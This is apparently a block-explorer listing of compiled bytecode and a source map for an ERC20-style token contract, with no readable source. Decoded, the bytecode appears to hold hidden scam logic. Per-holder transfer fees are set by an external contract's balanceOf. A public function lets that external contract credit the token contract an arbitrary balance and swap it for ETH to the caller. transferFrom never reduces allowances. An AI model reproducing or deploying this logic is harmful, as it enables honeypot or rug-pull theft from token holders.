50828203905081811115611ac457611ac361187e565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611b24602583611436565b9150611b2f82611aca565b604082019050919050565b5f6020820190508181035f830152611b5181611b18565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611bb2602383611436565b9150611bbd82611b58565b604082019050919050565b5f6020820190508181035f830152611bdf81611ba6565b9050919050565b5f81519050611bf48161153d565b92915050565b5f60208284031215611c0f57611c0e6114d6565b5b5f611c1c84828501611be6565b91505092915050565b5f611c2f82611534565b9150611c3a83611534565b9250828202611c4881611534565b91508282048414831517611c5f57611c5e61187e565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611c9d82611534565b9150611ca883611534565b925082611cb857611cb7611c66565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b5f611d1d602283611436565b9150611d2882611cc3565b604082019050919050565b5f6020820190508181035f830152611d4a81611d11565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f00000000005f82015250565b5f611d85601b83611436565b9150611d9082611d51565b602082019050919050565b5f6020820190508181035f830152611db281611d79565b9050919050565b5f604082019050611dcc5f8301856116a6565b611dd960208301846116a6565b939250505056fea26469706673582212203c8ac05cf69bb9d8fd14437ed0c0deb97ab9f8b4aa7178227797bc8a8c5d994064736f6c63430008150033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610114575f3560e01c806370a08231116100a0578063a457c2d71161006f578063a457c2d7146102e4578063a9059cbb14610314578063b09f126614610344578063d28d885214610362578063dd62ed3e1461038057610114565b806370a082311461026e578063715018a61461029e5780638da5cb5b146102a857806395d89b41146102c657610114565b8063313ce567116100e7578063313ce567146101b457806332424aa3146101d257806333853534146101f057806339509351146102205780633eaaf86b1461025057610114565b806306fdde0314610118578063095ea7b31461013657806318160ddd1461016657806323b872dd14610184575b5f80fd5b6101206103b0565b60405161012d91906114b6565b60405180910390f35b610150600480360381019061014b9190611567565b610440565b60405161015d91906115bf565b60405180910390f35b61016e610456565b60405161017b91906115e7565b60405180910390f35b61019e60048036038101906101999190611600565b61045f565b6040516101ab91906115bf565b60405180910390f35b6101bc610501565b6040516101c991906115e7565b60405180910390f35b6101da61050a565b6040516101e791906115e7565b60405180910390f35b61020a60048036038101906102059190611650565b610510565b60405161021791906115bf565b60405180910390f35b61023a60048036038101906102359190611567565b610851565b60405161024791906115bf565b60405180910390f35b6102586108f1565b60405161026591906115e7565b60405180910390f35b6102886004803603810190610283919061167b565b6108f7565b60405161029591906115e7565b60405180910390f35b6102a661093d565b005b6102b0610a6c565b6040516102bd91906116b5565b60405180910390f35b6102ce610a93565b6040516102db91906114b6565b60405180910390f35b6102fe60048036038101906102f99190611567565b610b23565b60405161030b91906115bf565b60405180910390f35b61032e60048036038101906103299190611567565b610c47565b60405161033b91906115bf565b60405180910390f35b61034c610c64565b60405161035991906114b6565b60405180910390f35b61036a610cf0565b60405161037791906114b6565b60405180910390f35b61039a600480360381019061039591906116ce565b610d7c565b6040516103a791906115e7565b60405180910390f35b6060600180546103bf90611739565b80601f01602080910402602001604051908101604052809291908181526020018280546103eb90611739565b80156104365780601f1061040d57610100808354040283529160200191610436565b820191905f5260205f20905b81548152906001019060200180831161041957829003601f168201915b5050505050905090565b5f61044c338484610dfe565b6001905092915050565b5f600454905090565b5f61046b848484610fc1565b8160085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104b26111fe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156104f6575f80fd5b600190509392505050565b5f600354905090565b60035481565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b815260040161056d929190611769565b6020604051808303815f875af1158015610589573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ad91906117ba565b15610848575f3090506105e28160075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610dfe565b8260095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600267ffffffffffffffff8111156106405761063f6117e5565b5b60405190808252806020026020018201604052801561066e5781602001602082028036833780820191505090505b50905081815f8151811061068557610684611812565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610729573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061074d9190611853565b8160018151811061076157610760611812565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947855f846107e36111fe565b601e426107f091906118ab565b6040518663ffffffff1660e01b81526004016108109594939291906119d7565b5f604051808303815f87803b158015610827575f80fd5b505af1158015610839573d5f803e3d5ffd5b5050505060019250505061084c565b5f90505b919050565b5f6108e761085d6111fe565b848460085f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546108e291906118ab565b610dfe565b6001905092915050565b60045481565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661095c610a6c565b73ffffffffffffffffffffffffffffffffffffffff16146109b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a990611a79565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610aa290611739565b80601f0160208091040260200160405190810160405280929190818152602001828054610ace90611739565b8015610b195780601f10610af057610100808354040283529160200191610b19565b820191905f5260205f20905b815481529060010190602001808311610afc57829003601f168201915b5050505050905090565b5f8160085f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610ba8575f80fd5b610c3d610bb36111fe565b848460085f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c389190611a97565b610dfe565b6001905092915050565b5f610c5a610c536111fe565b8484610fc1565b6001905092915050565b60028054610c7190611739565b80601f0160208091040260200160405190810160405280929190818152602001828054610c9d90611739565b8015610ce85780601f10610cbf57610100808354040283529160200191610ce8565b820191905f5260205f20905b815481529060010190602001808311610ccb57829003601f168201915b505050505081565b60018054610cfd90611739565b80601f0160208091040260200160405190810160405280929190818152602001828054610d2990611739565b8015610d745780601f10610d4b57610100808354040283529160200191610d74565b820191905f5260205f20905b815481529060010190602001808311610d5757829003601f168201915b505050505081565b5f60085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6390611b3a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610eda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed190611bc8565b60405180910390fd5b8060085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fb491906115e7565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ff8575f80fd5b60095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054811115611041575f80fd5b5f6110726064611064611055878787611205565b856112b590919063ffffffff16565b61132c90919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110d191906115e7565b60405180910390a3808260095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461112391906118ab565b61112d9190611a97565b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111b79190611a97565b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050565b5f33905090565b5f8061121084611388565b905060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b815260040161126c91906116b5565b602060405180830381865afa158015611287573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112ab9190611bfa565b9150509392505050565b5f8083036112c5575f9050611326565b5f82846112d29190611c25565b90508284826112e19190611c93565b14611321576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131890611d33565b60405180910390fd5b809150505b92915050565b5f80821161136f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136690611d9b565b60405180910390fd5b5f828461137c9190611c93565b90508091505092915050565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e83306040518363ffffffff1660e01b81526004016113e5929190611db9565b6020604051808303815f875af1158015611401573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114259190611bfa565b9050919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611463578082015181840152602081019050611448565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6114888261142c565b6114928185611436565b93506114a2818560208601611446565b6114ab8161146e565b840191505092915050565b5f6020820190508181035f8301526114ce818461147e565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611503826114da565b9050919050565b611513816114f9565b811461151d575f80fd5b50565b5f8135905061152e8161150a565b92915050565b5f819050919050565b61154681611534565b8114611550575f80fd5b50565b5f813590506115618161153d565b92915050565b5f806040838503121561157d5761157c6114d6565b5b5f61158a85828601611520565b925050602061159b85828601611553565b9150509250929050565b5f8115159050919050565b6115b9816115a5565b82525050565b5f6020820190506115d25f8301846115b0565b92915050565b6115e181611534565b82525050565b5f6020820190506115fa5f8301846115d8565b92915050565b5f805f60608486031215611617576116166114d6565b5b5f61162486828701611520565b935050602061163586828701611520565b925050604061164686828701611553565b9150509250925092565b5f60208284031215611665576116646114d6565b5b5f61167284828501611553565b91505092915050565b5f602082840312156116905761168f6114d6565b5b5f61169d84828501611520565b91505092915050565b6116af816114f9565b82525050565b5f6020820190506116c85f8301846116a6565b92915050565b5f80604083850312156116e4576116e36114d6565b5b5f6116f185828601611520565b925050602061170285828601611520565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061175057607f821691505b6020821081036117635761176261170c565b5b50919050565b5f60408201905061177c5f8301856116a6565b61178960208301846115d8565b9392505050565b611799816115a5565b81146117a3575f80fd5b50565b5f815190506117b481611790565b92915050565b5f602082840312156117cf576117ce6114d6565b5b5f6117dc848285016117a6565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8151905061184d8161150a565b92915050565b5f60208284031215611868576118676114d6565b5b5f6118758482850161183f565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6118b582611534565b91506118c083611534565b92508282019050808211156118d8576118d761187e565b5b92915050565b5f819050919050565b5f819050919050565b5f61190a611905611900846118de565b6118e7565b611534565b9050919050565b61191a816118f0565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611952816114f9565b82525050565b5f6119638383611949565b60208301905092915050565b5f602082019050919050565b5f61198582611920565b61198f818561192a565b935061199a8361193a565b805f5b838110156119ca5781516119b18882611958565b97506119bc8361196f565b92505060018101905061199d565b5085935050505092915050565b5f60a0820190506119ea5f8301886115d8565b6119f76020830187611911565b8181036040830152611a09818661197b565b9050611a1860608301856116a6565b611a2560808301846115d8565b9695505050505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611a63602083611436565b9150611a6e82611a2f565b602082019050919050565b5f6020820190508181035f830152611a9081611a57565b9050919050565b5f611aa182611534565b9150611aac83611534565b9250828203905081811115611ac457611ac361187e565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611b24602583611436565b9150611b2f82611aca565b604082019050919050565b5f6020820190508181035f830152611b5181611b18565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611bb2602383611436565b9150611bbd82611b58565b604082019050919050565b5f6020820190508181035f830152611bdf81611ba6565b9050919050565b5f81519050611bf48161153d565b92915050565b5f60208284031215611c0f57611c0e6114d6565b5b5f611c1c84828501611be6565b91505092915050565b5f611c2f82611534565b9150611c3a83611534565b9250828202611c4881611534565b91508282048414831517611c5f57611c5e61187e565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611c9d82611534565b9150611ca883611534565b925082611cb857611cb7611c66565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b5f611d1d602283611436565b9150611d2882611cc3565b604082019050919050565b5f6020820190508181035f830152611d4a81611d11565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f00000000005f82015250565b5f611d85601b83611436565b9150611d9082611d51565b602082019050919050565b5f6020820190508181035f830152611db281611d79565b9050919050565b5f604082019050611dcc5f8301856116a6565b611dd960208301846116a6565b939250505056fea26469706673582212203c8ac05cf69bb9d8fd14437ed0c0deb97ab9f8b4aa7178227797bc8a8c5d994064736f6c63430008150033

Deployed Bytecode Sourcemap

4162:8167:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9101:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10321:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9192:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11147:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5250:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4492:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8395:584;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8188:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4527:51;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9638:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3978:148;;;:::i;:::-;;3786:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5819:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6588:243;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5548:154;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4260:21;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4234:19;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9498:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9101:85;9140:13;9173:5;9166:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9101:85;:::o;10321:158::-;10395:4;10412:37;10421:10;10433:7;10442:6;10412:8;:37::i;:::-;10467:4;10460:11;;10321:158;;;;:::o;9192:93::-;9238:7;9265:12;;9258:19;;9192:93;:::o;11147:228::-;11235:4;11252:35;11262:4;11268:9;11279:7;11252:9;:35::i;:::-;11337:7;11306:11;:17;11318:4;11306:17;;;;;;;;;;;;;;;:27;11324:8;:6;:8::i;:::-;11306:27;;;;;;;;;;;;;;;;:38;;11298:47;;;;;;11363:4;11356:11;;11147:228;;;;;:::o;5250:87::-;5293:7;5320:9;;5313:16;;5250:87;:::o;4492:28::-;;;;:::o;8395:584::-;8453:4;8474:6;;;;;;;;;;;:15;;;8490:10;8502:6;8474:35;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8470:502;;;8511:20;8542:4;8511:36;;8558:54;8567:12;8589:13;;;;;;;;;;;8605:6;8558:8;:54::i;:::-;8650:6;8624:9;:23;8634:12;8624:23;;;;;;;;;;;;;;;:32;;;;8667:23;8707:1;8693:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8667:42;;8732:12;8720:6;8727:1;8720:9;;;;;;;;:::i;:::-;;;;;;;:24;;;;;;;;;;;8769:13;;;;;;;;;;;:18;;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8756:6;8763:1;8756:9;;;;;;;;:::i;:::-;;;;;;;:33;;;;;;;;;;;8801:13;;;;;;;;;;;:64;;;8866:6;8874:1;8877:6;8885:8;:6;:8::i;:::-;8913:2;8895:15;:20;;;;:::i;:::-;8801:115;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8934:4;8927:11;;;;;;8470:502;8964:5;8957:12;;8395:584;;;;:::o;8188:201::-;8268:4;8285:74;8294:8;:6;:8::i;:::-;8304:7;8348:10;8313:11;:23;8325:10;8313:23;;;;;;;;;;;;;;;:32;8337:7;8313:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;8285:8;:74::i;:::-;8377:4;8370:11;;8188:201;;;;:::o;4527:51::-;;;;:::o;9638:110::-;9695:7;9722:9;:18;9732:7;9722:18;;;;;;;;;;;;;;;;9715:25;;9638:110;;;:::o;3978:148::-;3713:10;3702:21;;:7;:5;:7::i;:::-;:21;;;3694:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;4085:1:::1;4048:40;;4069:6;::::0;::::1;;;;;;;;4048:40;;;;;;;;;;;;4116:1;4099:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3978:148::o:0;3786:71::-;3832:7;3849:6;;;;;;;;;;;3842:13;;3786:71;:::o;5819:87::-;5858:13;5891:7;5884:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5819:87;:::o;6588:243::-;6661:4;6719:6;6686:11;:23;6698:10;6686:23;;;;;;;;;;;;;;;:29;6710:4;6686:29;;;;;;;;;;;;;;;;:39;;6678:48;;;;;;6737:64;6746:8;:6;:8::i;:::-;6756:4;6794:6;6762:11;:23;6774:10;6762:23;;;;;;;;;;;;;;;:29;6786:4;6762:29;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;6737:8;:64::i;:::-;6819:4;6812:11;;6588:243;;;;:::o;5548:154::-;5617:4;5634:38;5644:8;:6;:8::i;:::-;5654:9;5665:6;5634:9;:38::i;:::-;5690:4;5683:11;;5548:154;;;;:::o;4260:21::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4234:19::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;9498:134::-;9570:7;9597:11;:18;9609:5;9597:18;;;;;;;;;;;;;;;:27;9616:7;9597:27;;;;;;;;;;;;;;;;9590:34;;9498:134;;;;:::o;11904:346::-;12023:1;12006:19;;:5;:19;;;11998:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;12105:1;12086:21;;:7;:21;;;12078:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;12188:6;12158:11;:18;12170:5;12158:18;;;;;;;;;;;;;;;:27;12177:7;12158:27;;;;;;;;;;;;;;;:36;;;;12226:7;12210:32;;12219:5;12210:32;;;12235:6;12210:32;;;;;;:::i;:::-;;;;;;;;11904:346;;;:::o;7319:388::-;7424:1;7408:18;;:4;:18;;;7400:27;;;;;;7456:9;:15;7466:4;7456:15;;;;;;;;;;;;;;;;7446:6;:25;;7438:34;;;;;;7483:11;7497:51;7544:3;7497:42;7508:30;7521:4;7527:2;7531:6;7508:12;:30::i;:::-;7497:6;:10;;:42;;;;:::i;:::-;:46;;:51;;;;:::i;:::-;7483:65;;7580:2;7565:26;;7574:4;7565:26;;;7584:6;7565:26;;;;;;:::i;:::-;;;;;;;;7643:3;7634:6;7618:9;:13;7628:2;7618:13;;;;;;;;;;;;;;;;:22;;;;:::i;:::-;:28;;;;:::i;:::-;7602:9;:13;7612:2;7602:13;;;;;;;;;;;;;;;:44;;;;7693:6;7675:9;:15;7685:4;7675:15;;;;;;;;;;;;;;;;:24;;;;:::i;:::-;7657:9;:15;7667:4;7657:15;;;;;;;;;;;;;;;:42;;;;7389:318;7319:388;;;:::o;11382:86::-;11423:7;11450:10;11443:17;;11382:86;:::o;10485:181::-;10566:7;10586:19;10608;10624:2;10608:15;:19::i;:::-;10586:41;;10636:6;;;;;;;;;;;:16;;;10653:4;10636:22;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10629:29;;;10485:181;;;;;:::o;1498:223::-;1556:7;1585:1;1580;:6;1576:23;;1596:1;1589:8;;;;1576:23;1609:9;1625:1;1621;:5;;;;:::i;:::-;1609:17;;1654:1;1649;1645;:5;;;;:::i;:::-;:10;1637:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;1712:1;1705:8;;;1498:223;;;;;:::o;1081:178::-;1139:7;1171:1;1167;:5;1159:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;1215:9;1231:1;1227;:5;;;;:::i;:::-;1215:17;;1250:1;1243:8;;;1081:178;;;;:::o;9291:123::-;9345:7;9371:6;;;;;;;;;;;:16;;;9388:2;9400:4;9371:35;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9364:42;;9291:123;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:329::-;4482:6;4531:2;4519:9;4510:7;4506:23;4502:32;4499:119;;;4537:79;;:::i;:::-;4499:119;4657:1;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4628:117;4423:329;;;;:::o;4758:::-;4817:6;4866:2;4854:9;4845:7;4841:23;4837:32;4834:119;;;4872:79;;:::i;:::-;4834:119;4992:1;5017:53;5062:7;5053:6;5042:9;5038:22;5017:53;:::i;:::-;5007:63;;4963:117;4758:329;;;;:::o;5093:118::-;5180:24;5198:5;5180:24;:::i;:::-;5175:3;5168:37;5093:118;;:::o;5217:222::-;5310:4;5348:2;5337:9;5333:18;5325:26;;5361:71;5429:1;5418:9;5414:17;5405:6;5361:71;:::i;:::-;5217:222;;;;:::o;5445:474::-;5513:6;5521;5570:2;5558:9;5549:7;5545:23;5541:32;5538:119;;;5576:79;;:::i;:::-;5538:119;5696:1;5721:53;5766:7;5757:6;5746:9;5742:22;5721:53;:::i;:::-;5711:63;;5667:117;5823:2;5849:53;5894:7;5885:6;5874:9;5870:22;5849:53;:::i;:::-;5839:63;;5794:118;5445:474;;;;;:::o;5925:180::-;5973:77;5970:1;5963:88;6070:4;6067:1;6060:15;6094:4;6091:1;6084:15;6111:320;6155:6;6192:1;6186:4;6182:12;6172:22;;6239:1;6233:4;6229:12;6260:18;6250:81;;6316:4;6308:6;6304:17;6294:27;;